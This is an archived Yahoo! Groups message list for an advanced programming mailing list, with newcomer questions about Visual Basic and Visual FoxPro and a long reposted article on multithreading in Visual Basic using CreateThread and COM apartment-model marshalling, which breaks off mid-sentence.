Search the web
Sign In
New User? Sign Up
fdb · FDB's "Advanced Programming" list
? Already a member? Sign in to Yahoo!

Yahoo! Groups Tips

Did you know...
Want to share photos of your group with the world? Add a group photo to Flickr.

Best of Y! Groups

   Check them out and nominate your group.
Having problems with message search? Fill out this form to ensure your group is one of the first to be migrated to the new message search system.

Messages

  Messages Help
Advanced
Messages 34 - 102 of 103   Newest  |  < Newer  |  Older >  |  Oldest
Messages: Show Message Summaries   (Group by Topic) Sort by Date v  
#102 From: "bodegmail" <bodegmail@...>
Date: Thu May 23, 2002 6:03 am
Subject: cant connect vb interface to database
bodegmail
Online Now Online Now
Send Email Send Email
 
hi guys! i need some help. i cannot connect my vb interface to my
database.

the scenario is this:

i want to create a program that has an users database. that i can
add, edit, delete and change password. the problem is i cannot
connect my vb interface to my ms access database. pls advise... tnx a
lot.

#101 From: seekh vb <vbseekh@...>
Date: Tue Jan 29, 2002 12:02 pm
Subject: Parsing Data fetched from net.
vbseekh
Offline Offline
Send Email Send Email
 
hi .,
I have a problem like, i need to pick data from the
net which i have done using internet control,parse the
data and put it in a database.Anyone having an
idea...please send me the code for creating
activexcontrol which works on multiple threads and a
generalized parsing(ie removing the basic tags if
found like...<html><BR>etc.)..

Thanks in advance.,
mahek


__________________________________________________
Do You Yahoo!?
Great stuff seeking new owners in Yahoo! Auctions!
http://auctions.yahoo.com

#100 From: "Mark W" <oceanside@...>
Date: Fri Nov 30, 2001 2:37 pm
Subject: Does VFP7 get fewer fatal errors than VFP5
oceansidecalm
Offline Offline
Send Email Send Email
 
I notice that VFP5 gets a lot of fatal windows errors around indexing
bugs.  In particular indexing long character fields with repetitive
contact.

Did anyone notice this in VFP5 and see it go away with a later
version?

Mark Woodruff
mailto:oceanside@...

#99 From: "Mark W" <oceanside@...>
Date: Sun Dec 2, 2001 4:02 am
Subject: VFP5 to VFP7 again. Cost/Benifit analysis
oceansidecalm
Offline Offline
Send Email Send Email
 
I am still reviewing the benefits and problems associated with moving
from VFP5 to VFP7.  I appreciate anyone offering experience they had
with recompiling after this type of move.  5 to 6 or 6 to 7 of
interest also.

Mark Woodruff  mailto:Oceanside@...

#98 From: "FDB & HRB" <ferialb@...>
Date: Sun Aug 19, 2001 1:05 pm
Subject: My New Site
ferialb@...
Send Email Send Email
 
Hi All,
I have finished my site, It's a Web Directory about Computer Programming:
http://www.codinglibrary.com/
There are 13 Categories, about 280 Sub Categories and more than 2700
Records.
If you have any suggestions or comments please contact me, It will be a
great Pleasure for me to hear your suggestions.
Free Email, Forwarding Address and Sub Domains are available too. For more
info contact me.

Best Wishes,
   Farzad Badili (FDB)
     mailto:fdb@...
     mailto:admin@...
     http://www.codinglibrary.com/

#97 From: Jane <gijane2_98@...>
Date: Sun Jul 1, 2001 3:29 am
Subject: Re: [FDB-LIST] Hello I'm a new member !
gijane2_98@...
Send Email Send Email
 
Emma,

Hello!
I graduated with a BA in Computer Information Systems
and want to learn more about Visual Basics. I did have
a yr of C++, but I had a very poor instructor and did
not really learn the language, however, I would like
to some day.

Deb
--- anoush@... wrote:
> Hi programmers!
> It's really nice to be a member of this list !
> I'm a student ..My future profession is a programmer
> (of course)
> I already know Pascal ,C ,Assembly ..I want to study
> C++ this year !
> I'll be glad if you give me some advises how to
> start learning C++...
>
> Also want to find friends among you !
> Please Write me back !
>
> Bye
> Emma
>
>
> To Unsubscribe via e-mail, Send an e-mail to:
> fdb-unsubscribe@...
>
>
>
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/
>
>


__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

#96 From: Aileen Zeng <aileenzeng@...>
Date: Sat Jun 30, 2001 3:02 pm
Subject: Re: Welcome to the fdb group
aileenzeng@...
Send Email Send Email
 
Hello everyone,

I am Aileen, so nice to meet you in this groups.
I am a programmer in Beijing.

Aileen

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/

#95 From: "FDB & HRB" <ferialb@...>
Date: Sat Jun 30, 2001 6:50 am
Subject: A Thread to Visual Basic
ferialb@...
Send Email Send Email
 
A Thread to Visual Basic

Contents:
Introduction.

A quick Review of Multithreading.

A multithreading Simulator.

Avoiding Multithreading Problems.

Visual Basic Service pack #2.

Why Multithread?

The Threading Contract.

The CreateThread API.

The Create Thread API Revisited.

Conclusion.

VB6 update.

SpyWorks 6.2 update.

For Further Reference.

You can download the sample code from
ftp.desaware.com/SampleCode/Articles/Thread.zip

Just because you can do something, doesn't always mean that you should.
With the appearance of the AddressOf operator, an entire industry has
developed among authors illustrating how to do previously impossible tasks
using Visual Basic. Another industry is rapidly developing among consultants
helping users who have gotten into trouble attempting these tasks.

The problem is not in Visual Basic or in the technology. The problem lies in
the fact that many authors are applying the same rule to AddressOf
techniques that many software companies apply to software in general -- if
you can do something, you should. The idea that the newest and latest
technology must, by definition, be the best solution to a problem is
prevalent in our industry. This idea is wrong. Deployment of technology
should be driven primarily by the problem that you are trying to solve, not
by the technology that someone is trying to sell you.

Worse yet, just as companies often neglect to mention the limitations and
disadvantages of their tools, authors sometimes fail to stress the
consequences of some of the techniques that they describe. And magazines and
books sometimes neglect their responsibility to make sure that the
programming practices that they describe are sound.

As a programmer, it is important to choose the right tool for the job. It is
your responsibility to develop code that not only works now under one
particular platform, but that works under all target platforms and system
configurations. Your code must be well documented and supportable by those
programmers who follow you on the project. Your code must follow the rules
dictated by the operating system or standards that you are using. Failure to
do so can lead to problems in the future as systems and software are
upgraded.

Recent articles in the Microsoft Systems Journal and Visual Basic
Programmer's Journal introduced to Visual Basic programmers the possibility
of using the CreateThread API function to directly support multithreading
under Visual Basic. In fact, one reader went so far as to contact me and
complain that my Visual Basic Programmer's Guide to the Win32 API was
fatally flawed because I did not cover this function or demonstrate this
technique. This article is in part a response to this reader, and in part a
response to other articles written on the subject. This article also serves,
in part, as an update to chapter 14 of my book "Developing ActiveX
Components with Visual Basic 5.0: A Guide to the Perplexed" with regards to
new features supported by Visual Basic 5.0 Service Pack 2.

A Quick Review of Multithreading
If you are already well versed in multithreading technology, you may wish to
skip this section and continue from the section titled "The Threading
Contract" or "New for Service Pack 2."

Everyone who uses Windows knows that it is able to do more than one thing at
a time. It can run several programs simultaneously, while at the same time
playing a compact disk, sending a fax, and transferring a file. Every
programmer knows (or should know) that the computer's CPU can only execute
one instruction at a time (we'll ignore the existence of multiprocessing
machines for the time being). How can a single CPU do multiple tasks?

It does this by rapidly switching among the different tasks. The operating
system holds all of the programs that are running in memory. It allows the
CPU to run each program in turn. Every time it switches between programs, it
swaps the internal register values including the instruction pointer and
stack pointer. Each of these "tasks" is called a thread of execution.

In a simple multitasking system, each program has a single thread of
execution. This means that the CPU starts executing instructions at the
beginning of the program, and continues following the instructions in the
sequence defined by the program until the program terminates.

Let's say the program has five instructions: A B C D and E that execute in
sequence (no jumps in this example). When an application has a single
thread, the instructions will always execute in exactly the same order: A,
B, C, D and E. True, the CPU may take time off to execute other instructions
in other programs, but they will not effect this application unless there is
a conflict over shared system resources -- another subject entirely.

An advanced multithreading operating system such as Windows allows an
application to run more than one thread at a time. Let's say that
instruction D in our sample application had the ability to create a new
thread that started at instruction B and ran through the sequence C and E.
The first thread would still be A, B, C, D, E, but when D executed a new
thread would begin that would execute B, C, E (we don't want to execute D
again or we'll get another thread).

Exactly what order will the instructions follow in this application?

It could be:

Thread 1
  A
  B
  C
  D

  E



Thread 2




  B

  C
  E


Or it could be:

Thread 1
  A
  B
  C
  D


  E


Thread 2




  B
  C

  E


or perhaps:

Thread 1
  A
  B
  C
  D



  E

Thread 2




  B
  C
  E



In other words, when you start a new thread of execution in an application,
you can never know the exact order in which instructions in the two threads
will execute relative to each other. The two threads are completely
independent.

Why is this a problem?

A Multithreading Simulator
Consider the MTDemo project:

(You can download the sample code from
ftp.desaware.com/SampleCode/Articles/Thread.zip)

The project contains a single code module that contains two global variables
as follows:

' MTDemo - Multithreading Demo program
' Copyright © 1997 by Desaware Inc. All Rights Reserved
Option Explicit
Public GenericGlobalCounter As Long
Public TotalIncrements As Long
It contains a single form named frmMTDemo1 which contains the following
code:

' MTDemo - Multithreading Demo program
' Copyright © 1997 by Desaware Inc. All Rights Reserved
Option Explicit
Dim State As Integer
  ' State = 0 - Idle
  ' State = 1 - Loading existing value
  ' State = 2 - Adding 1 to existing value
  ' State = 3 - Storing existing value
  ' State = 4 - Extra delay
Dim Accumulator As Long
Const OtherCodeDelay = 10
Private Sub Command1_Click()
  Dim f As New frmMTDemo1
  f.Show
End Sub
Private Sub Form_Load()
  Timer1.Interval = 750 + Rnd * 500
End Sub
Private Sub Timer1_Timer()
  Static otherdelay&
  Select Case State
   Case 0
    lblOperation = "Idle"
    State = 1
   Case 1
    lblOperation = "Loading Acc"
    Accumulator = GenericGlobalCounter
    State = 2
   Case 2
    lblOperation = "Incrementing"
    Accumulator = Accumulator + 1
    State = 3
   Case 3
    lblOperation = "Storing"
    GenericGlobalCounter = Accumulator
    TotalIncrements = TotalIncrements + 1
    State = 4
   Case 4
    lblOperation = "Generic Code"
    If otherdelay >= OtherCodeDelay Then
     State = 0
     otherdelay = 0
    Else
     otherdelay = otherdelay + 1
    End If
   End Select
  UpdateDisplay
End Sub
Public Sub UpdateDisplay()
  lblGlobalCounter = Str$(GenericGlobalCounter)
  lblAccumulator = Str$(Accumulator)
  lblVerification = Str$(TotalIncrements)
End Sub
This program uses a timer and a simple state machine to simulate
multithreading. The State variable describes the five instructions that this
program executes in order. State zero is an idle state. State one loads
local variable with the GenericGlobalCounter global variable. State two
increments the local variable. State three stores the result into the
GenericGlobalCounter variable and increments the TotalIncrements variable
(which counts the number of times that the GenericGlobalCounter variable has
been incremented). State 4 adds an additional delay representing time spent
running other instructions in the program.

The UpdateDisplay function updates three labels on the form that show the
current value of the GenericGlobalCounter variable, the local accumulator,
and the total number of increments.

Each timer tick represents a CPU cycle on the current thread. If you run the
program you'll see that the value of the GenericGlobalCounter variable will
always be exactly equal to the TotalIncrements variable -- which makes
sense, because the TotalIncrements variable shows the number of times the
thread has incremented the GenericGlobalCounter.

But what happens when you click the Command1 button and start a second
instance of the form? This new form simulates a second thread.

Every now and then, the instructions will line up in such a way that both
forms load the same GenericGlobalCounter value, increment it, and store it.
As a result, the value will only increase by one, even though each thread
believed that it had independently incremented the variable. In other
words -- the variable was incremented twice, but the value only increased by
one. If you launch several forms you will quickly see that the number of
increments as represented by the TotalIncrements variable grows much more
rapidly than the GenericGlobalCounter variable.

What if the variable represents an object lock count - which keeps track of
when an object should be freed? What if it represents a signal that
indicates that a resource is in use?

This type of problem can lead to resources becoming permanently unavailable
to the system, to object being locked internally in memory, or freed
prematurely. It can easily lead to application crashes.

This example was designed to make the problem easy to see -- but try
experimenting with the value of the OtherCodeDelay variable. When the
dangerous code is relatively small compared to the entire program, problems
will appear less frequently. While this may sound good, the opposite is
true. Multithreading problems can be extremely intermittent and difficult to
find. This means that multithreading demands careful design up front.

Avoiding Multithreading Problems
There are two relatively easy ways to avoid multithreading problems.

Avoid all use of global variables.

Add synchronization code wherever global variables are used.

The first approach is the one used by Visual Basic. When you turn on
multithreading in a Visual Basic applications, all global variables become
local to a specific thread. This is inherent in the way Visual Basic
implements apartment model threading -- more on this later.

The original release of Visual Basic 5.0 only allowed multithreading in
components that had no user interface elements. This was because they had
not figured out at the time a way to make the forms engine thread safe. For
example: when you create a form in Visual Basic, VB gives it an implied
global variable name (thus if you have a form named Form1, you can directly
access its methods using Form1.method instead of declaring a separate form
variable). This type of global variable can cause the kinds of
multithreading problems you saw earlier. There were undoubtedly other
problems within the forms engine as well -- making a package that complex
safe for multithreading can be quite a challenge.

With service pack 2, Visual Basic's forms engine was made thread safe. One
sign of this is that each thread has its own implied global variable for
each form defined in the project.

New for Service Pack 2
By making the forms engine thread safe, Service pack 2 made it possible for
you to create multithreading client applications using Visual Basic. This is
demonstrated in the MTDemo2 project:

(You can download the sample code from
ftp.desaware.com/SampleCode/Articles/Thread.zip)

The application must be defined as an ActiveX Exe program with startup set
to Sub Main in a code module as follows:

' MTDemo2 - Multithreading demo program
' Copyright © 1997 by Desaware Inc. All Rights Reserved
Option Explicit
Declare Function FindWindow Lib "user32" Alias "FindWindowA"
   (ByVal lpClassName As String, _
   ByVal lpWindowName As String) As Long
Sub Main()
  Dim f As frmMTDemo2
  ' We need this because Main is called on each new thread
  Dim hwnd As Long
  hwnd = FindWindow(vbNullString, "Multithreading Demo2")
  If hwnd = 0 Then
   Set f = New frmMTDemo2
   f.Show
   Set f = Nothing
  End If
End Sub
The first time through, the program loads and displays the main form of the
application. The Main routine needs some way of finding out whether this is
the first thread of the application because it is executed at the start of
every thread. You can't use a global variable to find this out because the
Visual Basic apartment model keeps global variables specific to a single
thread. In this example the FindWindow API function is used to check if the
main form of the example has been loaded. There are other ways to find out
if this is the main thread, including use of system synchronization
objects - but this too is a subject for another time and place.

Multithreading is accomplished by creating an object in a new thread. The
object must be defined using a class module. In this case, a simple class
module is defined as follows:

' MTDemo2 - Multithreading demo program
' Copyright © 1997 by Desaware Inc. All Rights Reserved
Option Explicit
Private Sub Class_Initialize()
  Dim f As New frmMTDemo2
  f.Show
  Set f = Nothing
End Sub
We can set the form variable to nothing after it is created because the act
of
showing the form will keep it loaded.
' MTDemo2 - Multithreading demo program
' Copyright © 1997 by Desaware Inc. All Rights Reserved
Option Explicit
Private Sub cmdLaunch1_Click()
  Dim c As New clsMTDemo2
  c.DisplayObjPtr Nothing
End Sub
Private Sub cmdLaunch2_Click()
  Dim c As clsMTDemo2
  Set c = CreateObject("MTDemo2.clsMTDemo2")
End Sub
Private Sub Form_Load()
  lblThread.Caption = Str$(App.ThreadID)
End Sub
The form displays its thread identifier in a label on the form. The form
contains two launch buttons, one that uses the New operator, the other that
uses the CreateObject operator.

If you run the program within the Visual Basic environment, you'll see that
the forms are always created in the same thread. This is because the Visual
Basic environment only supports a single thread. If you compile the program,
you'll see that the CreateObject approach creates both the clsMTDemo2 and
its form in a new thread.

Why Multithread?
Why all the fuss about multithreading if there is so much potential danger
involved? Because, in certain situations, multithreading can dramatically
improve performance. In some cases it can improve the efficiency of certain
synchronization operations such as waiting for an application to terminate.
It allows more flexibility in application architecture. For example, Add a
long operation to the form in the MTDemo2 application with code such as
this:

Private Sub cmdLongOp_Click()
Dim l&
Dim s$
For l = 1 To 1000000
s = Chr$(l And &H7F)
Next l
End Sub
Launch several instances of the form using the cmdLaunch1 button. When you
click on the cmdLongOp button on any of the forms, you will see that it
freezes up operations on all of the other forms. This is because all of the
forms are running on a single thread -- and that thread is busy running the
long loop. If you reproduce this using the cmdLaunch2 button (with a
compiled executable) and click the cmdLongOp button on a form, only that
form will be frozen -- the other forms will continue to be active. They are
running in their own execution thread, and the long loop operation only ties
up its own thread. Of course, you probably shouldn't be placing these kinds
of long operations in your forms in any case.

Here is a brief summary of when multithreading has value:

ActiveX EXE Server -- no shared resources.
When you have an ActiveX EXE server that you expect to share among
applications, multithreading prevents the applications from interfering with
each other. If one application performs a long operation on an object in a
single threaded server, the other applications are frozen out waiting for
the server to become available. Multithreading avoids this problem. However,
there are cases where you may want to use an ActiveX EXE server to arbitrate
access to a shared resource. An example of this is the stock quote server
described in my Developing ActiveX Components book. In this case the single
thread runs the stock quote server which is shared among all of the
applications using the server in turn.

Multithreading Client -- Implemented as an ActiveX EXE Server
A simple form of this approach is demonstrated in the MTDemo2 application.
It is used when an application supports multiple windows that must exit
within a single application but work completely independently. Internet
browsers are a good example of multithreaded clients, where each browser
window runs in its own thread. Note that multithreading should not be used
as a substitute for good event driven design.

Multithreading DLL
A multithreading DLL does not actually create its own threads. It is simply
a DLL that creates objects that run in the same thread that requests the
objects. For example: a multithreaded ActiveX control (which is a DLL)
creates controls that run in the same thread as the form that contains the
control. This can improve efficiency on a multithreaded client such as an
Internet browser.

Multithreaded Servers DLL or EXE
In a client server architecture, multithreading can improve performance if
you have a mix of long and short client requests. Be careful though -- if
all of your client requests are of similar length, multithreading can
actually slow down the server's average response time! Never assume that the
fact that your server is multithreading will necessarily improve
performance.

The Threading Contract
Believe it or not, all of this has been in the way of introduction. Some of
the material reviews information that is covered in far greater depth in my
Developing ActiveX Components book, other material describes new information
for service pack 2.

Now, allow me to ask a question that goes directly to the heart of
multithreading using COM (the component object model on which all Visual
Basic objects, and those in other windows applications that use OLE are
based).

Given:

That multithreading is potentially extremely dangerous and specifically --
that attempting to multithread code that is not designed to support
multithreading is likely to cause fatal errors and system crashes.

Question:

How is it possible that Visual Basic allows you to create objects and use
them under both single and multithreaded environments without any regard to
whether they are designed for single or multithreaded use?

In other words -- How can a multithreaded Visual Basic application use
objects that are not designed to be thread safe? How can other multithreaded
applications use single threaded Visual Basic objects?

In short: how does COM handle threading issues?

If you know about COM, you know that it defines the structure of a contract.
A COM object agrees to follow certain rules so that it can be used
successfully from any application or object that supports COM.

Most people think first of the interface part of the contract -- the methods
and properties that an object exposes.

But you may not be aware of the fact that COM also defines threading as part
of the contract. And like any part of the COM contract -- if you break it,
you are in very deep trouble.

Visual Basic, naturally, hides most of this from you, but in order to
understand what follows, you must learn a little bit about the COM threading
models.

The Single Threading Model:
A single threaded server is the simplest type of server to implement. It is
also the easiest to understand. In the case of an EXE server, the server
runs in a single thread. All objects are created in that thread. All method
calls to each object supported by the server must arrive in that thread.

But what if the client is running in a different thread? In that case, a
proxy object must be created for the server object. This proxy object runs
in the client's thread and reflects the methods and properties of the actual
object. When a method is called on the proxy object, it performs whatever
operations are necessary to switch to the object's thread, then calls the
methods on the actual object using the parameters passed to the proxy.
Naturally, this is a rather time consuming task -- but it does allow the
contract to be followed. This process of switching threads and transferring
data from the proxy object, to the actual object and back is called
marshalling. It is covered in more depth in chapter 6 in my Developing
ActiveX Components book.

In the case of DLL servers, the single threading model demands that all
objects in the server be created and called in the same thread as the first
object created by the server.

The Apartment Threading Model
Note that apartment model threading as defined by COM does NOT require that
each thread have its own set of global variables. That's just how Visual
Basic implemented the apartment model. The apartment model states that each
object may be created in its own thread, however once an object is created,
its methods and properties may only be called by the same thread that
created the object. If another thread wants to access methods of the object,
it must go through a proxy.

This is a relatively easy model to implement. If you eliminate global
variables (as Visual Basic does), the apartment model grants you thread
safety automatically -- since each object is effectively running in its own
thread, and due to the lack of global variables, the different object
threads do not interact with each other.

The Free Threading Model
The free threading model basically says that all bets are off. Any object
can be created in any thread. All methods and properties on any object can
be called at any time from any thread. The object accepts full
responsibility for handling any necessary synchronization.

This is the hardest model to implement successfully, since it demands that
the programmer handle all synchronization. In fact, until recently, OLE
itself did not support this threading model! However, since marshalling is
never required, this is the most efficient threading model.

Which model does your server support?
How does an application, or Windows itself, know which threading model a
server is using? This information is included in the registry. When Visual
Basic creates and object, it checks the registry to determine in which cases
a proxy object and marshalling are required.

It is the client's responsibility to adhere strictly to the threading
requirements of each object that it creates.

The CreateThread API
Now let's take a look at how the CreateThread API can be used with Visual
Basic.

Say you have a class that you want to have running in another thread in
order to perform some background operation. A generic class of this type
might have the following code (from the MTDemo 3 example):

' Class clsBackground
' MTDemo 3 - Multithreading example
' Copyright © 1997 by Desaware Inc. All Rights Reserved
Option Explicit
Event DoneCounting()
Dim l As Long
Public Function DoTheCount(ByVal finalval&) As Boolean
Dim s As String
  If l = 0 Then
   s$ = "In Thread " & App.threadid
   Call MessageBox(0, s$, "", 0)
  End If
  l = l + 1
  If l >= finalval Then
   l = 0
   DoTheCount = True
   Call MessageBox(0, "Done with counting", "", 0)
   RaiseEvent DoneCounting
  End If
End Function
The class is designed so that the DoTheCount function can be called
repeatedly from a continuous loop in the background thread. We could have
placed the loop in the object itself, but you'll see shortly that there are
sound reasons for designing the object as shown here. The first time the
DoTheCount function is called, a MessageBox appears showing the thread
identifier -- that way we can verify the thread in which the code is
running. The MessageBox API is used instead of the VB MessageBox command
because the API function is known to be thread safe. A second MessageBox is
shown when the counting is complete, and an event is raised to indicate that
the operation is finished.

The background thread is launched using the following code in the frmMTDemo3
form:

Private Sub cmdCreateFree_Click()
Set c = New clsBackground
StartBackgroundThreadFree c
End Sub
The StartBackgroundThreadFree function is defined in modMTBack
module as follows:
Declare Function CreateThread Lib "kernel32" (ByVal _
lpSecurityAttributes As Long, ByVal dwStackSize As Long, _
ByVal lpStartAddress As Long, ByVal lpParameter As Long, _
ByVal dwCreationFlags As Long, _lpThreadId As Long) _
As Long
Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long

' Start the background thread for this object
' using the invalid free threading approach.
Public Function StartBackgroundThreadFree(ByVal qobj As _
         clsBackground)
  Dim threadid As Long
  Dim hnd&
  Dim threadparam As Long
  ' Free threaded approach
  threadparam = ObjPtr(qobj)
  hnd = CreateThread(0, 2000, AddressOf BackgroundFuncFree, _
    threadparam, 0, threadid)
  If hnd = 0 Then
   ' Return with zero (error)
   Exit Function
  End If
  ' We don't need the thread handle
  CloseHandle hnd
  StartBackgroundThreadFree = threadid
End Function
The CreateThread function takes six parameters:

lpSecurityAttributes is typically set to zero to use the default security
attributes.

dwStackSize is the size of the stack. Each thread has its own stack.

lpStartAddress is the memory address where the thread starts. This must be
an address of a function in a standard module obtained using the AddressOf
operator.

lpParameter is a long 32 bit parameter that is passed to the function that
starts the new thread.

dwCreationFlags is a 32 bit flag variable that lets you control the start of
the thread (whether it is active, suspended, etc.). Details on these flags
can be found in Microsoft's online 32 bit reference.

lpThreadId is a variable that is loaded with the unique thread identifier of
the new thread.

The function returns a handle to the thread.

In this case we pass a pointer to the clsBackground object that we wish to
use in the new thread. ObjPtr retrieves the value of the interface pointer
in the qobj variable. After the thread is created, the handle is closed
using the CloseHandle function. This does NOT terminate the thread -- the
thread continues to run until the BackgroundFuncFree function exits.
However, if we did not close the handle, the thread object would continue to
exist even after the BackgroundFuncFree function exits. All handles to a
thread must be closed and the thread terminated in order for the system to
free up the resources allocated to the thread.

The BackgroundFuncFree function is as follows:

' A free threaded callback.
' This is an invalid approach, though it works
' in this case.
Public Function BackgroundFuncFree(ByVal param As _
      IUnknown) As Long
  Dim qobj As clsBackground
  Dim res&
  ' Free threaded approach
  Set qobj = param
  Do While Not qobj.DoTheCount(100000)
  Loop
  ' qobj.ShowAForm ' Crashes!
  ' Thread ends on return
End Function
The parameter to this function is a pointer to an interface (ByVal param As
IUnknown). We can get away with this because under COM, every interface is
based on IUnknown -- so this parameter type is valid regardless of the type
of interface originally passed to the function. We must, however,
immediately set the param to a specific object type in order to use it. In
this case qobj is set to the original clsBackground object that was passed
to the StartBackgroundThreadFree object.

The function then enters an infinite loop during which it performs any
desired operation, in this case a repetitive count. A similar approach here
might be to perform a wait operation that suspends the thread until a system
event (such as a process termination) occurs. The thread could then call a
method in the class to signal to the application that the event has
occurred.

Accessing the qobj object is extremely fast because of the free threading
nature of this approach -- no marshalling is used.

You'll notice, however, that if you try to have the clsBackground object
show a form, the application crashes. You'll also notice that the completion
event is never raised in the client form. In fact, even the Microsoft
Systems Journal that describes this approach includes a great many warnings
that there are some things that do not work when you attempt this approach.

Is this a flaw in Visual Basic?

Some people who tried deploying applications using this type of threading
have found that their applications fail after upgrading to VB5 service pack
2.

Does this mean that Microsoft has failed to correctly provide backwards
compatibility?

The answer to both questions is: No.

The problem is not with Microsoft or Visual Basic.

The problem is that the above code is garbage.

The problem is simple -- Visual Basic supports objects in both single
threaded and apartment models. Let me rephrase this: Visual Basic objects
are COM objects that make a statement under the COM contract that they will
work correctly as single threaded or apartment model objects. That means
that each object expects any method calls to take place on the same thread
that created the object.

The example shown above violates this rule.

It violates the COM contract.

What does this mean?

It means that the behavior of the object is subject to change as Visual
Basic is updated.

It means that any attempt of that object to access other objects or forms
may fail disastrously, and that the failure modes may change as those
objects are updated.

It means that even code that works now may suddenly fail as other objects
are added, deleted, or modified.

It means that it is impossible to characterize the behavior of the
application, or to predict whether it will work or should work in any given
environment.

It means that it is impossible to predict whether the code will work on any
given system, and that the behavior may vary depending on the operating
system in use, the number of processors in use, and other system
configuration issue.

You see, once you violate the COM contract, you are no longer protected by
those features in COM that allow objects to successfully communicate with
each other and with clients.

This approach is programming alchemy. It is irresponsible and no programmer
should ever use it. Period.

The CreateThread API Revisited
Now that I've shown you why the CreateThread API approach that has appeared
in some articles is garbage, it's only fair that I make things right and
show you how you can, in fact, use this API safely.

The trick is simple -- you must simply adhere to the COM threading contract.
This takes a bit more work, but the results have proven so far to be
reliable.

The MTDemo3 sample shows this in the frmMTDemo3 form with the following code
that launches an apartment model background class as follows:

Private Sub cmdCreateApt_Click()
  Set c = New clsBackground
  StartBackgroundThreadApt c
End Sub
So far this looks very similar to the free threading approach. You create
an instance of the class and pass it to a function that starts the
background thread. The following code appears in the modMTBack module:
' Structure to hold IDispatch GUID
Type GUID
  Data1 As Long
  Data2 As Integer
  Data3 As Integer
  Data4(7) As Byte
End Type
Public IID_IDispatch As GUID
Declare Function CoMarshalInterThreadInterfaceInStream _
Lib "ole32.dll" (riid As GUID, ByVal pUnk As IUnknown, _
ppStm As Long) As Long
Declare Function CoGetInterfaceAndReleaseStream Lib _
"ole32.dll" (ByVal pStm As Long, riid As GUID, _
pUnk As IUnknown) As Long
Declare Function CoInitialize Lib "ole32.dll" _
(ByVal pvReserved As Long) As Long
Declare Sub CoUninitialize Lib "ole32.dll" ()

' Start the background thread for this object
' using the apartment model
' Returns zero on error
Public Function StartBackgroundThreadApt(ByVal qobj As _
     clsBackground)
  Dim threadid As Long
  Dim hnd&, res&
  Dim threadparam As Long
  Dim tobj As Object
  Set tobj = qobj
  ' Proper marshaled approach
  InitializeIID
  res = CoMarshalInterThreadInterfaceInStream _
               (IID_IDispatch, qobj, threadparam)
  If res <> 0 Then
   StartBackgroundThreadApt = 0
   Exit Function
  End If
  hnd = CreateThread(0, 2000, AddressOf _
               BackgroundFuncApt, threadparam, 0, threadid)
  If hnd = 0 Then
   ' Return with zero (error)
   Exit Function
  End If
  ' We don't need the thread handle
  CloseHandle hnd
  StartBackgroundThreadApt = threadid
End Function
The StartBackgroundThreadApt function is a bit more complex than the free
threading equivalent. The first new function is called InitializeIID. This
function
deals with the following code:
' Initialize the GUID structure
Private Sub InitializeIID()
  Static Initialized As Boolean
  If Initialized Then Exit Sub
  With IID_IDispatch
   .Data1 = &H20400
   .Data2 = 0
   .Data3 = 0
   .Data4(0) = &HC0
   .Data4(7) = &H46
  End With
  Initialized = True
End Sub
You see, we're going to need an interface identifier -- a 16 byte structure
that uniquely identifies and interface. In particular, we're going to need
the interface identifier for the IDispatch interface (more information on
IDispatch can be found in my Developing ActiveX Components book). The
InitializeIID function simply initializes the IID_IDispatch structure to the
correctly values for the IDispatch interface identifier. This value is
obtained originally using a registry viewer utility.

Why do we need this identifier?

Because in order to adhere to the COM threading contract, we need to create
a proxy object for the clsBackground object. The proxy object needs to be
passed to the new thread instead of the original object. Calls by the new
thread on the proxy object will be marshaled into the current thread.

The CoMarshalInterThreadInterfaceInStream performs an interesting task. It
collects all of the information needed to create a proxy for a specified
interface and loads it into a stream object. In this example we use the
IDispatch interface because we know that every Visual Basic class supports
IDispatch, and we know that IDispatch marshalling support is built into
Windows -- so this code will always work. We then pass the stream object to
the new thread. This object is designed by Windows to be transferable
between threads in exactly this manner, so we can pass it safely to the
CreateThread function. The rest of the StartBackgroundThreadApt function is
identical to the StartBackgroundThreadFree function.

The BackgroundFuncApt function is also more complex than the free threaded
equivalent as shown below:

' A correctly marshaled apartment model callback.
' This is the correct approach, though slower.
Public Function BackgroundFuncApt(ByVal param As Long) _
  As Long
  Dim qobj As Object
  Dim qobj2 As clsBackground
  Dim res&
  ' This new thread is a new apartment, we must
  ' initialize OLE for this apartment
         ' (VB doesn't seem to do it)
  res = CoInitialize(0)
  ' Proper apartment modeled approach
  res = CoGetInterfaceAndReleaseStream(param,
               IID_IDispatch, qobj)
  Set qobj2 = qobj
  Do While Not qobj2.DoTheCount(10000)
  Loop
  qobj2.ShowAForm
  ' Alternatively, you can put a wait function here,
  ' then call the qobj function when the wait is satisfied
  ' All calls to CoInitialize must be balanced
  CoUninitialize
End Function
The first step is to initialize the OLE subsystem for the new thread. This
is necessary for the marshalling code to work correctly. The
CoGetInterfaceAndReleaseStream creates the proxy object for the original
clsBackground object and releases the stream object used to transfer the
data from the other thread. The IDispatch interface for the new object is
loaded into the qobj variable. It is now possible to obtain other
interfaces -- the proxy object will correctly marshal data for every
interface that it can support.

Now you can see why the loop is placed in this function instead of in the
object itself. When you call the qobj2.DoTheCount function for the first
time, you'll see that the code is running in the original thread! Every time
you call a method on the object, you are actually calling the method on the
proxy object. Your current thread is suspended, the method request is
marshaled to the original thread, and the method called on the original
object in the same thread that created the object. If the loop was in the
object, you would be freezing up the original thread.

The nice thing about this approach is that everything works. The
clsBackground object can show forms and raise events safely. Of course it
can -- it's running in the same thread as the form and its client -- as it
should be. The disadvantage of this approach is, of course, that it is slow.
Thread switches and marshalling are relatively slow operations. You would
never actually want to implement a background operation as shown here.

But this approach can work extremely well if you can place the background
operation in the BackgroundFuncApt function itself! For example: you could
have the background thread perform a background calculation or a system wait
operation. When it is complete, it can call a method on the object which
will raise an event in the client. By keeping the number of method calls
small relative to the amount of work being done in the background function,
you can achieve very effective results.

What if you want to perform a background operation that does not need to use
an object? Obviously, the problems with the COM threading contract vanish.
But other problems appear. How will the background thread signal completion
to the foreground thread? How will they exchange data? How will the two
threads be synchronized? All of these things are possible with appropriate
use of API calls. Refer to my Visual Basic 5.0 Programmer's Guide to the
Win32 API for information on synchronization objects such as Events,
Mutexes, Semaphores and Waitable Timers.

It also includes examples of memory mapped files which can be helpful in
exchanging data between processes. You may be able to use global variables
to exchange data as well -- but be aware that this behavior is not
